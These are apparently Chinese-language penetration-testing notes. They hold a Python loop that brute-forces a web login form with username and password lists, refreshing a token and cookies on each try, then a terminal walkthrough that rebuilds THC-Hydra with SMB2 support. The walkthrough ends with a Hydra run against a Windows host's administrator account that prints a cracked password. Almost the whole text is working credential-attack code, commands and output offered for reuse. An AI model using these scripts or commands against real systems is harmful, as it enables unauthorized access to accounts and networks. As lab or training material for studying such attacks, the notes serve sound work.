# 构造POST请求的数据,包括用户名、密码、token等 data = {"submit": "Login"} # 遍历用户名列表 for user in users: # 遍历密码列表 for passwd in passwds: # 设置POST请求的用户名和密码 data["username"] = user data["password"] = passwd # 获取页面中的token和cookies data["token"], cookies = get_token_and_cookie(url)
# 在尝试对系统使用 THC-Hydra 时,我发现 Hydra 9.0 不支持 SMB2.我收到以下错误: [ERROR] invalid reply from target smb://10.10.10.2:445/ # 为了获得 SMB2 支持,请执行以下步骤: ┌──(root㉿kill3r)-[/opt] └─# cd /opt ┌──(root㉿kill3r)-[/opt] └─# git clone https://github.com/vanhauser-thc/thc-hydra.git ┌──(root㉿kill3r)-[/opt] └─# cd thc-hydra ┌──(root㉿kill3r)-[/opt] └─# apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev \ libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev \ firebird-dev libmemcached-dev libgpg-error-dev \ libgcrypt11-dev libgcrypt20-dev libsmbclient-dev # 要安装缺少的 SMB2 支持包,请运行 ┌──(root㉿kill3r)-[/opt] └─# apt install libsmbclient-dev # 在运行 make 之前,继续运行 ./configure 以验证您的库是否已安装. ┌──(root㉿kill3r)-[/opt/thc-hydra] └─# ./configure Starting hydra auto configuration ... Detected 64 Bit Linux OS Checking for zlib (libz.so, zlib.h) ... ... found Checking for openssl (libssl, libcrypto, ssl.h, sha.h) ... ... found Checking for gcrypt (libgcrypt.so, gpg-error.h) ... ... found Checking for idn (libidn.so) ... ... found Checking for curses (libcurses.so / term.h) ... ... found, color output enabled Checking for pcre (libpcre.so, pcre.h) ... ... found Checking for Postgres (libpq.so, libpq-fe.h) ... ... found Checking for SVN (libsvn_client-1 libapr-1.so libaprutil-1.so) ... ... found Checking for firebird (libfbclient.so) ... ... found Checking for MYSQL client (libmysqlclient.so, math.h) ... ... NOT found, module Mysql will not support version > 4.x Checking for AFP (libafpclient.so) ... ... NOT found, module Apple Filing Protocol disabled - Apple sucks anyway Checking for NCP (libncp.so / nwcalls.h) ... ... NOT found, module NCP disabled Checking for SAP/R3 (librfc/saprfc.h) ... ... NOT found, module sapr3 disabled Get it from http://www.sap.com/solutions/netweaver/linux/eval/index.asp Checking for libssh (libssh/libssh.h) ... ... found Checking for Oracle (libocci.so libclntsh.so / oci.h and libaio.so / liboci.a and oci.dll) ... ... NOT found, module Oracle disabled Get basic and sdk package from http://www.oracle.com/technetwork/database/features/instant-client/index.html Checking for Memcached (libmemcached.so, memcached.h) ... ... found Checking for Freerdp2 (libfreerdp2.so, freerdp/*.h, libwinpr2.so, winpr/*.h) ... ... found Checking for Mongodb (libmongoc-1.0.so, mongoc.h, libbson-1.0.so, bson.h) ... ... found Checking for smbclient (libsmbclient.so, libsmbclient.h) ... ... found Checking for GUI req's (pkg-config, gtk+-2.0) ... ... NOT found, optional anyway Checking for Android specialities ... ... strrchr() found ... RSA_generate_key() found Checking for secure compile option support in gcc ... Compiling... yes Linking... yes Hydra will be installed into .../bin of: /usr/local (change this by running ./configure --prefix=path) ┌──(root㉿kill3r)-[/opt/thc-hydra] └─# make ┌──(root㉿kill3r)-[/opt/thc-hydra] └─# ./hydra -l administrator -P ../PasswordDic/1 WIN-O2ML05LMI0F smb2 Hydra v9.6dev (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-08-15 16:51:10 [WARNING] Workgroup was not specified, using "WORKGROUP" [DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task [DATA] attacking smb2://WIN-O2ML05LMI0F:445/ [WARNING] 192.168.64.223 might accept any credential [445][smb2] host: WIN-O2ML05LMI0F login: administrator password: 1QAZ@wsx 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-08-15 16:51:11